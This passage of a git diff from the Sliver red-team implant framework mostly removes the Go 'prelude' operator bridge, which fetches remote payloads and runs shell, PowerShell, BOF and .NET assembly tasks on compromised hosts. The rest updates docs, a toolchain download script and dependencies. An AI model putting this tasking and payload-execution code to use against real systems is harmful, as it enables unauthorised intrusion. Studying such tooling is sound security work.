msg := strings.TrimSpace(scanner.Text())
|
||||
a.handleMessage(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
var tempBeacon OperatorBeacon
|
||||
decoded, err := hex.DecodeString(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
}
|
||||
|
||||
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
|
||||
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
|
||||
// If we're running on a Beacon
|
||||
if implantBridge.BeaconCallback != nil {
|
||||
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
})
|
||||
return
|
||||
}
|
||||
// Running on a Session
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return io.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Implant),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.PBeacon.Sleep = a.Config.Sleep
|
||||
a.PBeacon.Range = a.Config.Range
|
||||
a.PBeacon.Pwd = pwd
|
||||
a.PBeacon.Target = a.Config.Address
|
||||
a.PBeacon.Executing = a.Config.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(a ActiveImplant) *commonpb.Request {
|
||||
timeout := int64(defaultTimeout)
|
||||
req := &commonpb.Request{
|
||||
Timeout: timeout,
|
||||
}
|
||||
if a == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
beacon, ok := a.(*clientpb.Beacon)
|
||||
if ok {
|
||||
req.BeaconID = beacon.ID
|
||||
req.Async = true
|
||||
return req
|
||||
}
|
||||
session, ok := a.(*clientpb.Session)
|
||||
if ok {
|
||||
req.SessionID = session.ID
|
||||
req.Async = false
|
||||
return req
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,161 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "bof":
|
||||
if len(task) != 2 {
|
||||
break
|
||||
}
|
||||
var bargs []bofArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &bargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agentSession, onFinish)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
} else if executor == "exec" {
|
||||
commandSections := strings.Fields(cmd)
|
||||
executor = commandSections[0]
|
||||
args = commandSections[1:]
|
||||
}
|
||||
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(implantBridge.Implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
|
||||
}
|
||||
|
||||
// Beacon
|
||||
if execResp.Response != nil && execResp.Response.Async {
|
||||
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execResp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
|
||||
})
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
// Session
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/S", "/C"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "-C"}
|
||||
case "exec":
|
||||
args = []string{}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func splitMessage(message string, splitRune rune) []string {
|
||||
quoted := false
|
||||
values := strings.FieldsFunc(message, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == splitRune
|
||||
})
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
|
||||
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(agentSession.Implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"sort"
|
||||
)
|
||||
|
||||
const (
|
||||
ErrorExitStatus = -1
|
||||
SuccessExitStatus = 0
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() OperatorBeacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
Name string
|
||||
AESKey string
|
||||
Range string
|
||||
Contact string
|
||||
Address string
|
||||
Useragent string
|
||||
Sleep int
|
||||
KillSleep int
|
||||
CommandJitter int
|
||||
CommandTimeout int
|
||||
Pid int
|
||||
Proxy string
|
||||
Debug bool
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type OperatorBeacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
Location string
|
||||
Platform string
|
||||
Executors []string
|
||||
Range string
|
||||
Sleep int
|
||||
Pwd string
|
||||
Executing string
|
||||
Links []Instruction
|
||||
}
|
||||
|
||||
type Instruction struct {
|
||||
ID string `json:"ID"`
|
||||
Executor string `json:"Executor"`
|
||||
Payload string `json:"Payload"`
|
||||
Request string `json:"Request"`
|
||||
Response string
|
||||
Status int
|
||||
Pid int
|
||||
}
|
||||
|
||||
func (c *AgentConfig) BuildExecutingHash() string {
|
||||
if count := len(c.Executing); count > 0 {
|
||||
ids := make([]string, count)
|
||||
for id := range c.Executing {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
h := md5.New()
|
||||
for _, s := range ids {
|
||||
io.WriteString(h, s)
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
|
||||
if _, ex := c.Executing[instruction.ID]; ex {
|
||||
return false
|
||||
}
|
||||
c.Executing[instruction.ID] = instruction
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
|
||||
for _, i := range instructions {
|
||||
if c.StartInstruction(i) {
|
||||
ret = append(ret, i)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *AgentConfig) EndInstruction(instruction Instruction) {
|
||||
delete(c.Executing, instruction.ID)
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
type execasmArgs struct {
|
||||
IsDLL bool `json:"isDLL"`
|
||||
Process string `json:"process"`
|
||||
Arguments string `json:"arguments"`
|
||||
Architecture string `json:"architecture"`
|
||||
Method string `json:"method"`
|
||||
Class string `json:"class"`
|
||||
AppDomain string `json:"appDomain"`
|
||||
}
|
||||
|
||||
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: MakeRequest(implant),
|
||||
IsDLL: args.IsDLL,
|
||||
Process: args.Process,
|
||||
Arguments: args.Arguments,
|
||||
Assembly: asm,
|
||||
Arch: args.Architecture,
|
||||
Method: args.Method,
|
||||
ClassName: args.Class,
|
||||
AppDomain: args.AppDomain,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,152 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var ImplantMapper *OperatorImplantMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
RPC rpcpb.SliverRPCClient
|
||||
AESKey string
|
||||
}
|
||||
|
||||
// OperatorImplantMapper maps an OperatorConfig with
|
||||
// active Sliver implant sessions/beacons
|
||||
type OperatorImplantMapper struct {
|
||||
implantBridges []*OperatorImplantBridge
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
// ActiveImplant exposes common methods between
|
||||
// Sliver clientpb.Session and clientpb.Beacon
|
||||
// that are required by Operator implants
|
||||
type ActiveImplant interface {
|
||||
GetID() string
|
||||
GetHostname() string
|
||||
GetPID() int32
|
||||
GetOS() string
|
||||
GetArch() string
|
||||
GetFilename() string
|
||||
GetReconnectInterval() int64
|
||||
}
|
||||
|
||||
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
|
||||
if ImplantMapper == nil {
|
||||
ImplantMapper = &OperatorImplantMapper{
|
||||
implantBridges: make([]*OperatorImplantBridge, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return ImplantMapper
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
|
||||
// Use a default sleep time for sessions,
|
||||
// but respect the one we have for beacons
|
||||
sleepTime := defaultImplantSleep
|
||||
if b, ok := a.(*clientpb.Beacon); ok {
|
||||
sleepTime = int(b.ReconnectInterval)
|
||||
}
|
||||
|
||||
beacon := OperatorBeacon{
|
||||
Name: a.GetID(),
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: a.GetHostname(),
|
||||
Location: a.GetFilename(),
|
||||
Platform: a.GetOS(),
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
a.GetID()
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: a.GetID(),
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(a.GetPID()),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
|
||||
p.Lock()
|
||||
p.implantBridges = append(p.implantBridges, bridge)
|
||||
p.Unlock()
|
||||
go bridge.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
|
||||
p.Lock()
|
||||
for _, bridge := range p.implantBridges {
|
||||
if bridge.Implant.GetID() == imp.GetID() {
|
||||
if bridge.Conn != nil {
|
||||
err = (*bridge.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
}
|
||||
}
|
||||
p.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
package util
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "sh", "bash"},
|
||||
"executor": {"python", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
}
|
||||
}
|
||||
}
|
||||
executors = append([]string{"keyword"}, executors...)
|
||||
return executors
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
|
||||
|
||||
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable.
|
||||
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables) environment variable.
|
||||
|
||||
#### Parsing Audit Logs
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ You'll want to compile from a MacOS or Linux machine, compiling from native Wind
|
||||
|
||||
From scratch without Docker, requirements for compiling:
|
||||
|
||||
- Go v1.20 or later, though we recommend Go v1.21
|
||||
- Go v1.21 or later, though we recommend Go v1.22. When compiling v1.5.x use Go v1.20.7
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
@@ -67,7 +67,7 @@ The priority of retrieval is the following:
|
||||
|
||||
#### NTLM/Kerberos Proxy Authentication
|
||||
|
||||
You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
|
||||
You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
|
||||
|
||||
## Start the Listener
|
||||
|
||||
|
||||
+20
-9
@@ -20,8 +20,9 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.21.4"
|
||||
GARBLE_VER="1.21.4b"
|
||||
GO_VER="1.22.2"
|
||||
GARBLE_VER="1.22.2"
|
||||
ZIG_VER="0.12.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
@@ -148,10 +149,25 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/amd64/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-amd64.zip
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Zig"
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz
|
||||
# Of course Windows has to be different, because it's awful (zip file instead of a tarball)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip
|
||||
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-arm64"
|
||||
@@ -167,28 +183,23 @@ curl -L --fail --output $OUTPUT_DIR/darwin/arm64/garble https://github.com/moloc
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
# Linux (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip
|
||||
|
||||
# Linux (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip
|
||||
|
||||
# Windows (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip
|
||||
|
||||
# MacOS (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip
|
||||
|
||||
# MacOS (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip
|
||||
|
||||
# end
|
||||
# --- Cleanup ---
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
echo -e "\n[*] All done\n"
|
||||
@@ -18,15 +18,16 @@ require (
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998
|
||||
github.com/chromedp/chromedp v0.9.3
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/fatih/color v1.16.0
|
||||
github.com/glebarez/sqlite v1.10.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.3
|
||||
github.com/google/uuid v1.4.0
|
||||
